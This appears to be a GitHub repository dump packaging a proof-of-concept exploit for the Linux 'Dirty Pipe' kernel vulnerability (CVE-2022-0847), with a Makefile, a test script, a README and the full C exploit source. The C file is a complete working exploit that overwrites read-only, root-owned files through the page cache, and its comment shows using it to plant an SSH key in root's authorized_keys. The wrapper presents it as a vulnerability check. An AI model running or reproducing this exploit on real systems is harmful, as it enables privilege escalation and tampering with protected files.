├── .gitignore ├── Makefile ├── exploit.sh ├── README.md └── src └── dirtypipe.c /.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | obj/ 3 | .DS_Store 4 | read_only_file.txt -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SRC_DIR := src 2 | OBJ_DIR := obj 3 | BIN_DIR := bin 4 | EXE := $(BIN_DIR)/dirtypipe 5 | SRC := $(wildcard $(SRC_DIR)/*.c) 6 | OBJ := $(patsubst $(SRC_DIR)/%.c, $(OBJ_DIR)/%.o, $(SRC)) 7 | MAKEFLAGS += --silent 8 | 9 | .PHONY: all exploit clean 10 | 11 | all: $(EXE) 12 | 13 | $(EXE): $(OBJ) | $(BIN_DIR) 14 | $(CC) $^ -o $@ 15 | 16 | $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c | $(OBJ_DIR) 17 | $(CC) -c $< -o $@ 18 | 19 | $(BIN_DIR) $(OBJ_DIR): 20 | mkdir -p $@ 21 | 22 | exploit: 23 | ./exploit.sh 24 | 25 | clean: 26 | rm -r $(BIN_DIR) $(OBJ_DIR) 27 | -------------------------------------------------------------------------------- /exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ROFILE=read_only_file.txt 4 | 5 | echo "[*] Creating read_only_file.txt..." 6 | 7 | if [ -f $ROFILE ]; then 8 | sudo rm $ROFILE 9 | fi 10 | 11 | sudo echo "This is a read only file..." > $ROFILE 12 | sudo chown root:root $ROFILE 13 | sudo chmod 444 $ROFILE 14 | 15 | read -n1 -p "[*] Press any key to continue..." 16 | 17 | echo "[*] Running exploit..." 18 | ./bin/dirtypipe $ROFILE 20 "exploit" 19 | 20 | cat $ROFILE | grep exploit > /dev/null 21 | 22 | if [ $? -eq 0 ]; then 23 | echo "[*] Exploit was successful!" 24 | else 25 | echo "[!] Exploit was not successful!" 26 | fi -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Dirty Pipe POC 2 | CVE-2022-0847 POC - https://dirtypipe.cm4all.com/ 3 | 4 | ## Description 5 | This exploit attempts to use the `CVE-2022-0847` vulnerability to overwrite a read only file. 6 | 7 | When `make exploit` is run, it will: 8 | 1. Create a `read_only_file.txt` 9 | 2. Execute the `dirtypipe` exploit. 10 | 3. Check if the `dirtypipe` exploit worked. 11 | --- 12 | You can determine if your system is vulnerable by the output of `make exploit`: 13 | ```console 14 | foo@bar:~$ make exploit # vulnerable 15 | [*] Creating read_only_file.txt... 16 | [*] Press any key to continue... 17 | [*] Running exploit... 18 | [*] Exploit was successful! 19 | 20 | foo@bar:~$ make exploit # not vulnerable 21 | [*] Creating read_only_file.txt... 22 | [*] Press any key to continue... 23 | [*] Running exploit... 24 | [!] Exploit was not successful! 25 | ``` 26 | 27 | ## Usage 28 | ```console 29 | foo@bar:~$ cd /tmp # We don't need to keep these files. 30 | foo@bar:~$ git clone https://github.com/breachnix/dirty-pipe-poc && cd dirty-pipe-poc 31 | foo@bar:~$ make && make exploit # make & cc will need to be installed. 32 | ``` 33 | 34 | ## Affected 35 | This vulnerability affects any kernel version higher than **5.8** but lower than **5.16.11**, **5.15.25**, or **5.10.102**. 36 | You can determine your kernel version by executing `uname -sr`: 37 | ```console 38 | foo@bar:~$ uname -sr 39 | Linux 5.10.0-12-amd64 40 | ``` 41 | -------------------------------------------------------------------------------- /src/dirtypipe.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022 CM4all GmbH / IONOS SE 3 | * 4 | * author: Max Kellermann 5 | * 6 | * Proof-of-concept exploit for the Dirty Pipe 7 | * vulnerability (CVE-2022-0847) caused by an uninitialized 8 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 9 | * file contents in the page cache, even if the file is not permitted 10 | * to be written, immutable or on a read-only mount. 11 | * 12 | * This exploit requires Linux 5.8 or later; the code path was made 13 | * reachable by commit f6dd975583bd ("pipe: merge 14 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 15 | * there before, it just provided an easy way to exploit it. 16 | * 17 | * There are two major limitations of this exploit: the offset cannot 18 | * be on a page boundary (it needs to write one byte before the offset 19 | * to add a reference to this page to the pipe), and the write cannot 20 | * cross a page boundary. 21 | * 22 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 23 | * AAA......\n' 24 | * 25 | * Further explanation: https://dirtypipe.cm4all.com/ 26 | */ 27 | 28 | #define _GNU_SOURCE 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #ifndef PAGE_SIZE 38 | #define PAGE_SIZE 4096 39 | #endif 40 | 41 | /** 42 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 43 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 44 | */ 45 | static void prepare_pipe(int p[2]) { 46 | if (pipe(p)) { 47 | abort(); 48 | } 49 | 50 | const unsigned pipe_size = 51 | fcntl(p[1], F_GETPIPE_SZ); 52 | 53 | static char buffer[4096]; 54 | 55 | /** 56 | * fill the pipe completely; each pipe_buffer will now have 57 | * the PIPE_BUF_FLAG_CAN_MERGE flag 58 | */ 59 | for (unsigned r = pipe_size; r > 0;) { 60 | unsigned n = (r > sizeof(buffer)) ? sizeof(buffer) : r; 61 | write(p[1], buffer, n); 62 | r -= n; 63 | } 64 | 65 | /** 66 | * drain the pipe, freeing all pipe_buffer instances 67 | * (but leaving the flags initialized) 68 | */ 69 | for (unsigned r = pipe_size; r > 0;) { 70 | unsigned n = (r > sizeof(buffer)) ? sizeof(buffer) : r; 71 | read(p[0], buffer, n); 72 | r -= n; 73 | } 74 | 75 | /** 76 | * the pipe is now empty, and if somebody adds a new 77 | * pipe_buffer without initializing its "flags", the buffer 78 | * will be mergeable 79 | */ 80 | } 81 | 82 | int main(int argc, char **argv) { 83 | 84 | if (argc != 4) { 85 | fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); 86 | return EXIT_FAILURE; 87 | } 88 | 89 | // dumb command-line argument parser 90 | const char *const path = argv[1]; 91 | loff_t offset = strtoul(argv[2], NULL, 0); 92 | 93 | const char *const data = argv[3]; 94 | const size_t data_size = strlen(data); 95 | 96 | if (offset % PAGE_SIZE == 0) { 97 | fprintf(stderr, "[!] Sorry, cannot start writing at a page boundary\n"); 98 | return EXIT_FAILURE; 99 | } 100 | 101 | const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 102 | const loff_t end_offset = offset + (loff_t)data_size; 103 | 104 | if (end_offset > next_page) { 105 | fprintf(stderr, "[!] Sorry, cannot write across a page boundary\n"); 106 | return EXIT_FAILURE; 107 | } 108 | 109 | // open the input file and validate the specified offset 110 | const int fd = open(path, O_RDONLY); // yes, read-only! :-) 111 | 112 | if (fd < 0) { 113 | perror("[!] open() failed:"); 114 | return EXIT_FAILURE; 115 | } 116 | 117 | struct stat st; 118 | if (fstat(fd, &st)) { 119 | perror("[!] stat() failed:"); 120 | return EXIT_FAILURE; 121 | } 122 | 123 | if (offset > st.st_size) { 124 | fprintf(stderr, "[!] Offset is not inside the file\n"); 125 | return EXIT_FAILURE; 126 | } 127 | 128 | if (end_offset > st.st_size) { 129 | fprintf(stderr, "[!] Sorry, cannot enlarge the file\n"); 130 | return EXIT_FAILURE; 131 | } 132 | 133 | /** 134 | * create the pipe with all flags initialized with 135 | * PIPE_BUF_FLAG_CAN_MERGE 136 | */ 137 | int p[2]; 138 | prepare_pipe(p); 139 | 140 | /** 141 | * splice one byte from before the specified offset into the 142 | * pipe; this will add a reference to the page cache, but 143 | * since copy_page_to_iter_pipe() does not initialize the 144 | * "flags", PIPE_BUF_FLAG_CAN_MERGE is still set 145 | */ 146 | --offset; 147 | 148 | ssize_t nbytes = 149 | splice(fd, &offset, p[1], NULL, 1, 0); 150 | 151 | if (nbytes < 0) { 152 | perror("[!] Splice failed:"); 153 | return EXIT_FAILURE; 154 | } 155 | 156 | if (nbytes == 0) { 157 | fprintf(stderr, "[!] hort splice\n"); 158 | return EXIT_FAILURE; 159 | } 160 | 161 | /** 162 | * the following write will not create a new pipe_buffer, but 163 | * will instead write into the page cache, because of the 164 | * PIPE_BUF_FLAG_CAN_MERGE flag 165 | */ 166 | nbytes = 167 | write(p[1], data, data_size); 168 | 169 | if (nbytes < 0) { 170 | perror("[!] write() failed:"); 171 | return EXIT_FAILURE; 172 | } 173 | 174 | if ((size_t)nbytes < data_size) { 175 | fprintf(stderr, "[!] Short write\n"); 176 | return EXIT_FAILURE; 177 | } 178 | 179 | return EXIT_SUCCESS; 180 | } --------------------------------------------------------------------------------